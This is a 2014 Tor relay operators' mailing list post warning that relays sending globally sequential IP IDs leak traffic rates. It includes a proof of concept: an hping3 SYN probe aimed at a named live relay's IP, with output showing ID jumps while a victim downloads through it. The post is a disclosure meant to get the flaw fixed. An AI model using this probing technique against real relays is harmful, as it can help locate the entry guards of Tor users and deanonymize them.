[tor-relays] Lots of tor relays send out sequential IP IDs; please fix that!

Jann Horn jann at thejh.net
Tue Apr 1 12:56:00 UTC 2014


On Mon, Mar 31, 2014 at 11:12:05PM +0200, Jann Horn wrote:
> Well, the subject line pretty much says it all: Lots of Tor relays send out
> globally sequential IP IDs, which, as far as I know, allows a remote party to
> measure how fast the relay is sending out IP packets with high precision,
> possibly making statistical attacks possible that could e.g. pinpoint the entry
> guard a user or hidden service uses.

Strike "possibly". I picked a random Tor relay from my "probably affected" list
(Winston) and put "EntryNodes Winston" into the config of PC 1 (victim). Then I
started "hping3 -r -i 2 -p 443 --syn 143.229.213.186" on PC 2 (attacker).

While the hping process on PC 2 was running, I ran
"torify curl http://var.thejh.net/trailer_400p.ogg" on PC 1 for a while, then
canceled it.

hping3 output before launching curl:
len=44 ip=143.229.213.186 ttl=117 DF id=16154 sport=443 flags=SA seq=0 win=1460 rtt=95.7 ms
len=44 ip=143.229.213.186 ttl=117 DF id=+33 sport=443 flags=SA seq=1 win=1460 rtt=95.7 ms
len=44 ip=143.229.213.186 ttl=117 DF id=+20 sport=443 flags=SA seq=2 win=1460 rtt=95.1 ms
len=44 ip=143.229.213.186 ttl=117 DF id=+30 sport=443 flags=SA seq=3 win=1460 rtt=95.6 ms
len=44 ip=143.229.213.186 ttl=117 DF id=+49 sport=443 flags=SA seq=4 win=1460 rtt=96.3 ms
len=44 ip=143.229.213.186 ttl=117 DF id=+22 sport=443 flags=SA seq=5 win=1460 rtt=96.4 ms
len=44 ip=143.229.213.186 ttl=117 DF id=+10 sport=443 flags=SA seq=6 win=1460 rtt=95.8 ms

hping3 output while curl is running:
len=44 ip=143.229.213.186 ttl=117 DF id=+20 sport=443 flags=SA seq=7 win=1460 rtt=96.2 ms
len=44 ip=143.229.213.186 ttl=117 DF id=+208 sport=443 flags=SA seq=8 win=1460 rtt=102.2 ms
len=44 ip=143.229.213.186 ttl=117 DF id=+156 sport=443 flags=SA seq=9 win=1460 rtt=102.3 ms
len=44 ip=143.229.213.186 ttl=117 DF id=+167 sport=443 flags=SA seq=10 win=1460 rtt=97.8 ms
len=44 ip=143.229.213.186 ttl=117 DF id=+181 sport=443 flags=SA seq=11 win=1460 rtt=104.2 ms
len=44 ip=143.229.213.186 ttl=117 DF id=+170 sport=443 flags=SA seq=12 win=1460 rtt=96.4 ms
len=44 ip=143.229.213.186 ttl=117 DF id=+157 sport=443 flags=SA seq=13 win=1460 rtt=95.4 ms

hping3 output after stopping curl:
len=44 ip=143.229.213.186 ttl=117 DF id=+142 sport=443 flags=SA seq=14 win=1460 rtt=95.5 ms
len=44 ip=143.229.213.186 ttl=117 DF id=+44 sport=443 flags=SA seq=15 win=1460 rtt=95.6 ms
len=44 ip=143.229.213.186 ttl=117 DF id=+8 sport=443 flags=SA seq=16 win=1460 rtt=95.6 ms
len=44 ip=143.229.213.186 ttl=117 DF id=+10 sport=443 flags=SA seq=17 win=1460 rtt=96.2 ms
len=44 ip=143.229.213.186 ttl=117 DF id=+16 sport=443 flags=SA seq=18 win=1460 rtt=95.8 ms
len=44 ip=143.229.213.186 ttl=117 DF id=+3 sport=443 flags=SA seq=19 win=1460 rtt=95.6 ms


As you can see, the id field's values looked VERY different while PC 1 was
downloading lots of data over the relay.


Yes, true, it looks as if this node is relatively idle, and it's probably not
THAT easy against relays that are used more. But I hope that this shows you
that this is not just a theoretical attack.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 836 bytes
Desc: Digital signature
URL: <http://lists.torproject.org/pipermail/tor-relays/attachments/20140401/55084f6d/attachment.sig>


More information about the tor-relays mailing list